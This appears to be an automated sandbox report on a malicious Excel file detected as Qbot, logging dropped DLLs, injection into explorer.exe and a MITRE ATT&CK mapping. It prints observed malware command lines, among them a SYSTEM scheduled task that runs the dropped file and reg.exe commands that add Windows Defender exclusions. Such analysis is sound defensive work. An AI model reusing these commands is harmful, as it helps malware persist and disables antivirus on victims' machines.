Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: amstream.pdb source: explorer.exe, 00000008.00000003.508479687.0000000002731000.00000004.00000001.sdmp
Source:	Binary string: c:\Course\student\take\camp \sudden.pdb source: regsvr32.exe, 00000004.00000002.508330083.000000006D83C000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.584267312.000000006C51C000.00000002.00020000.sdmp, explorer.exe, 00000008.00000003.508757774.0000000002731000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D816599 push ebp; retf	4_2_6D81659A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D812CD7 push es; retf	4_2_6D812D0A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D8160F5 push FFFFFFCAh; ret	4_2_6D8160F7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D8177A7 push ecx; ret	4_2_6D8177AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D816B01 push ss; ret	4_2_6D816B3A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D814756 push ebx; iretd	4_2_6D814759
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D816AEF push ss; ret	4_2_6D816B3A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D817A76 push ebx; ret	4_2_6D817A77
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D870F53 push edi; ret	4_2_6D870F54
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F2CD7 push es; retf	6_2_6C4F2D0A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F60F5 push FFFFFFCAh; ret	6_2_6C4F60F7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F6599 push ebp; retf	6_2_6C4F659A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F7A76 push ebx; ret	6_2_6C4F7A77
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F6AEF push ss; ret	6_2_6C4F6B3A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F4756 push ebx; iretd	6_2_6C4F4759
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F6B01 push ss; ret	6_2_6C4F6B3A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4F77A7 push ecx; ret	6_2_6C4F77AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C550F53 push edi; ret	6_2_6C550F54
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009A00E push ebx; ret	8_2_0009A00F
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009D485 push FFFFFF8Ah; iretd	8_2_0009D50E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009D4B6 push FFFFFF8Ah; iretd	8_2_0009D50E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00099D5C push cs; iretd	8_2_00099E32
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00099E5E push cs; iretd	8_2_00099E32
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009BB21 push esi; iretd	8_2_0009BB26
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE860F5 push FFFFFFCAh; ret	12_2_6CE860F7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE82CD7 push es; retf	12_2_6CE82D0A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE86599 push ebp; retf	12_2_6CE8659A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE86AEF push ss; ret	12_2_6CE86B3A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE87A76 push ebx; ret	12_2_6CE87A77
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE877A7 push ecx; ret	12_2_6CE877AB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE84756 push ebx; iretd	12_2_6CE84759

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FDFEF LoadLibraryA,GetProcAddress,

4_2_6D7FDFEF

Source: Celod.wac2.23.dr	Static PE information: real checksum: 0x833d7 should be: 0x5cd1
Source: Celod.wac.8.dr	Static PE information: real checksum: 0x833d7 should be: 0x8c487
Source: Celod.wac.17.dr	Static PE information: real checksum: 0x833d7 should be: 0x5cd1
Source: Celod.wac1.16.dr	Static PE information: real checksum: 0x833d7 should be: 0x5cd1

Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80919175528
Source: initial sample	Static PE information: section name: .text entropy: 6.80393171309

Persistence and Installation Behavior:

Uses cmd line tools excessively to alter registry or file data

Show sources

Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac2
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac1	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac2	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[2].dat	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac2	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[3].dat	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac1	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[1].dat	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac	Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac2	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac1	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac	Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac2	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac1	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Celod.wac	Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 12_2_6CE630AA StartServiceCtrlDispatcherA,

12_2_6CE630AA

Hooking and other Techniques for Hiding and Protection:

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2528 base: C9102D value: E9 9B 4C 3F FF	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2532 base: C9102D value: E9 9B 4C 3F FF	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1964 base: C9102D value: E9 9B 4C 3F FF	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1368 base: C9102D value: E9 9B 4C 3F FF	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2124	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2176	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2556	Thread sleep time: -152000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2084	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1580	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1940	Thread sleep count: 90 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1208	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1208	Thread sleep time: -112000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 560	Thread sleep count: 48 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[2].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[3].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[1].dat	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FD061 GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetWindowsDirectoryW,

4_2_6D7FD061

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D7FAEF6 FindFirstFileW,FindNextFileW,	4_2_6D7FAEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4DAEF6 FindFirstFileW,FindNextFileW,	6_2_6C4DAEF6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0008AEF6 FindFirstFileW,FindNextFileW,	8_2_0008AEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE6AEF6 FindFirstFileW,FindNextFileW,	12_2_6CE6AEF6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB4AEF6 FindFirstFileW,FindNextFileW,	15_2_6BB4AEF6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_0008AEF6 FindFirstFileW,FindNextFileW,	16_2_0008AEF6

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7F5F63 EntryPoint,OutputDebugStringA,GetModuleHandleA,GetModuleFileNameW,GetLastError,memset,MultiByteToWideChar,GetFileAttributesW,CreateThread,SetLastError,

4_2_6D7F5F63

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FDFEF LoadLibraryA,GetProcAddress,

4_2_6D7FDFEF

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D86F9DD mov eax, dword ptr fs:[00000030h]	4_2_6D86F9DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D86F5BC push dword ptr fs:[00000030h]	4_2_6D86F5BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D86F8B1 mov eax, dword ptr fs:[00000030h]	4_2_6D86F8B1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C54F9DD mov eax, dword ptr fs:[00000030h]	6_2_6C54F9DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C54F8B1 mov eax, dword ptr fs:[00000030h]	6_2_6C54F8B1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C54F5BC push dword ptr fs:[00000030h]	6_2_6C54F5BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CEDF9DD mov eax, dword ptr fs:[00000030h]	12_2_6CEDF9DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CEDF8B1 mov eax, dword ptr fs:[00000030h]	12_2_6CEDF8B1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CEDF5BC push dword ptr fs:[00000030h]	12_2_6CEDF5BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BBBF9DD mov eax, dword ptr fs:[00000030h]	15_2_6BBBF9DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BBBF5BC push dword ptr fs:[00000030h]	15_2_6BBBF5BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BBBF8B1 mov eax, dword ptr fs:[00000030h]	15_2_6BBBF8B1

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 8_2_00085A54 RtlAddVectoredExceptionHandler,

8_2_00085A54

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: C9102D	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: F0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: C9102D	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: C9102D	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: B0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: C9102D	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: B0000 protect: page read and write	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2528 base: B0000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2528 base: C9102D value: E9	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2532 base: F0000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2532 base: C9102D value: E9	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1964 base: B0000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1964 base: C9102D value: E9	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1368 base: B0000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 1368 base: C9102D value: E9	Jump to behavior

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: 173536952-10042021.xls, type: SAMPLE

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac2	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0'	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Incef' /d '0'	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'	Jump to behavior

Source: explorer.exe, 00000008.00000002.897363816.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000002.897363816.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: explorer.exe, 00000008.00000002.897363816.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 8_2_000831B5 CreateNamedPipeA,

8_2_000831B5

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7F97ED GetSystemTimeAsFileTime,

4_2_6D7F97ED

Source: C:\Windows\SysWOW64\regsvr32.exe

4_2_6D7FD061

Stealing of Sensitive Information:

Yara detected Qbot

Show sources

Source: Yara match	File source: 12.2.regsvr32.exe.6ce60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.6d7f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.regsvr32.exe.23339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.regsvr32.exe.6bb40000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.2c339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.209339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.regsvr32.exe.44339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.595370206.0000000000430000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.571303850.0000000002080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.649324622.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.655330254.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.503572061.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.896964841.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Qbot

Show sources

Source: Yara match	File source: 12.2.regsvr32.exe.6ce60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.6d7f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.explorer.exe.80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.regsvr32.exe.23339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.regsvr32.exe.6bb40000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorer.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.2c339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.209339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.regsvr32.exe.44339a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.595370206.0000000000430000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.571303850.0000000002080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.649324622.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.655330254.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.503572061.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.896964841.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter11	Windows Service3	Windows Service3	Masquerading121	Credential API Hooking1	System Time Discovery1	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection413	Disable or Modify Tools1	LSASS Memory	Security Software Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
